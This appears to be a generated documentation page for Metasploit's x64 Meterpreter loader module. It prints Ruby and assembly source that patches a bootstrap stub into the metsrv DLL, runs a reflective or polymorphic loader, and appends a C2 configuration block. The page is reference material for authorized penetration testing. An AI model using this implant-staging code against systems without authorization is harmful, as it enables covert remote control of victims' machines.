Module: Msf::Payload::Windows::MeterpreterLoader_x64

Includes:
Msf::Payload::Windows, ReflectiveLoaderX64, ReflectiveDLLLoader
Defined in:
lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb

Constant Summary

Constants included from ReflectiveDLLLoader

ReflectiveDLLLoader::EXPORT_REFLECTIVELOADER, ReflectiveDLLLoader::MIN_CUSTOM_LOADER_SIZE

Instance Method Summary collapse

Methods included from ReflectiveLoaderX64

#reflective_loader

Methods included from ReflectiveLoaderCommon

#build_reflective_loader, #datastore_reflective_loader_iv

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from ReflectiveDLLLoader

#load_rdi_dll, #load_rdi_dll_from_data

Instance Method Details

#asm_invoke_metsrv(opts = {}) ⇒ Object



35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# File 'lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb', line 35

def asm_invoke_metsrv(opts={})
  asm = %Q^
      ; prologue
        db 0x4d, 0x5a         ; 'MZ' = "pop r10"
        push r10              ; back to where we started
        push rbp              ; save rbp
        mov rbp, rsp          ; set up a new stack frame
        sub rsp, 32           ; allocate some space for calls.
        and rsp, ~0xF         ; Ensure RSP is 16 byte aligned
      ; GetPC
        call $+5              ; relative call to get location
        pop rbx               ; pop return value
      ; Invoke ReflectiveLoader()
        ; add the offset to ReflectiveLoader()
        add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x15)}
        call rbx              ; invoke ReflectiveLoader()
      ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
        ; offset from ReflectiveLoader() to the end of the DLL
        add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
  ^

  unless opts[:stageless] || opts[:force_write_handle] == true
    asm << %Q^
        ; store the comms socket or handle
        mov [rbx], rdi
    ^
  end

  asm << %Q^
        mov r8, rbx           ; r8 points to the extension list
        push 4                ; push up 4, indicate that we have attached
        pop rdx               ; pop 4 into rdx
        call rax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
  ^
end

#generate_config(opts = {}) ⇒ Object



75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
# File 'lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb', line 75

def generate_config(opts={})
  ds = opts[:datastore] || datastore
  opts[:uuid] ||= generate_payload_uuid
  # Pass the malleable C2 profile through to the transport config so
  # that staged HTTP(S) meterpreter sessions honour the profile after
  # the stage is delivered. The option is only registered by HTTP(S)
  # stagers, so it's nil (and ignored) for other transports.
  opts[:c2_profile] ||= ds['MALLEABLEC2'] if options.include?('MALLEABLEC2')
  if opts[:c2_profile]
    opts[:stageless] = true
  end
  # create the configuration block, which for staged connections is really simple.
  config_opts = {
    arch:              opts[:uuid].arch,
    null_session_guid: opts[:null_session_guid] == true,
    exitfunk:          ds[:exit_func] || ds['EXITFUNC'],
    expiration:        (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
    uuid:              opts[:uuid],
    transports:        opts[:transport_config] || [transport_config(opts)],
    extensions:        [],
    ext_format:        'x64.dll',
    stageless:         opts[:stageless] == true,
  }.merge(meterpreter_logging_config(opts))

  # create the configuration instance based off the parameters
  config = Rex::Payloads::Meterpreter::Config.new(config_opts)

  # return the binary version of it, prefixed with an 8-byte comms handle
  # that the stager patches with the active socket/handle
  "\x00" * 8 + config.to_b
end

#initialize(info = {}) ⇒ Object



19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# File 'lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb', line 19

def initialize(info = {})
  super(update_info(info,
    'Name'          => 'Reflective DLL Injection',
    'Description'   => 'Inject a DLL via a reflective loader',
    'Author'        => [ 'sf', 'OJ Reeves' ],
    'References'    => [
      [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
      [ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
    ],
    'Platform'      => 'win',
    'Arch'          => ARCH_X64,
    'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' },
    'Stage'         => { 'Payload'   => "" }
    ))
end

#stage_meterpreter(opts = {}) ⇒ Object



107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
# File 'lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb', line 107

def stage_meterpreter(opts={})
  ds = opts[:datastore] || datastore
  debug_build = ds['MeterpreterDebugBuild']
  loader = nil
  dll_path = MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build)
  dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(dll_path))
  begin
    rdi_offset = parse_pe(dll)
  rescue Rex::PeParsey::PeError => e
    elog("Failed to parse metsrv (x64) as a PE, falling back to the polymorphic loader: #{e.class}: #{e.message}")
    rdi_offset = nil
  end

  # Prefer a site-local custom loader binary if the user has dropped one into
  # the meterpreter search paths (~/.msf4/user_data/meterpreter/ or
  # <msf>/data/meterpreter/); otherwise assemble the polymorphic reflective
  # loader on the fly.
  custom_loader_path = [
    ::MetasploitPayloads.user_meterpreter_dir,
    ::MetasploitPayloads.msf_meterpreter_dir
  ].map { |dir| ::File.join(dir, 'custom_loader.x64.bin') }.find { |p| ::File.readable?(p) }

  use_loader = false
  if custom_loader_path
    loader = ::File.binread(custom_loader_path)
    validate_custom_loader!(loader, custom_loader_path)
    dlog("Using custom loader from #{custom_loader_path}")
    ::MetasploitPayloads.warn_local_path(custom_loader_path)
    use_loader = true
  end

  if rdi_offset.nil? && !use_loader
    loader = reflective_loader(iv: datastore_reflective_loader_iv(ds))
    use_loader = true
  end

  asm_opts = {
    # when a custom/polymorphic loader is appended, it must take priority over any
    # ReflectiveLoader already embedded in the DLL, since that's the loader whose bytes
    # actually follow the DLL in the payload
    rdi_offset: use_loader ? dll.length : rdi_offset,
    length:     dll.length + (loader ? loader.length : 0), # total payload length = DLL + reflective loader
    stageless:  opts[:stageless] == true
  }

  dlog("Using custom loader from #{custom_loader_path}") if custom_loader_path
  dlog('Using polymorphic reflective loader') if !custom_loader_path && use_loader
  dlog("Loader length: #{loader.length} bytes") if use_loader
  dlog("DLL length: #{dll.length} bytes")
  dlog("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes")
  dlog("Configuration offset: #{asm_opts[:length]} bytes")
  asm = asm_invoke_metsrv(asm_opts)

  # generate the bootstrap asm
  bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string

  # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
  if bootstrap.length > 62
    raise RuntimeError, "Meterpreter loader (x64) generated an oversized bootstrap!"
  end

  # patch the bootstrap code into the dll's DOS header...
  dll[ 0, bootstrap.length ] = bootstrap
  dll += loader if use_loader
  dll
end

#stage_payload(opts = {}) ⇒ Object



71
72
73
# File 'lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb', line 71

def stage_payload(opts={})
  stage_meterpreter(opts) + generate_config(opts)
end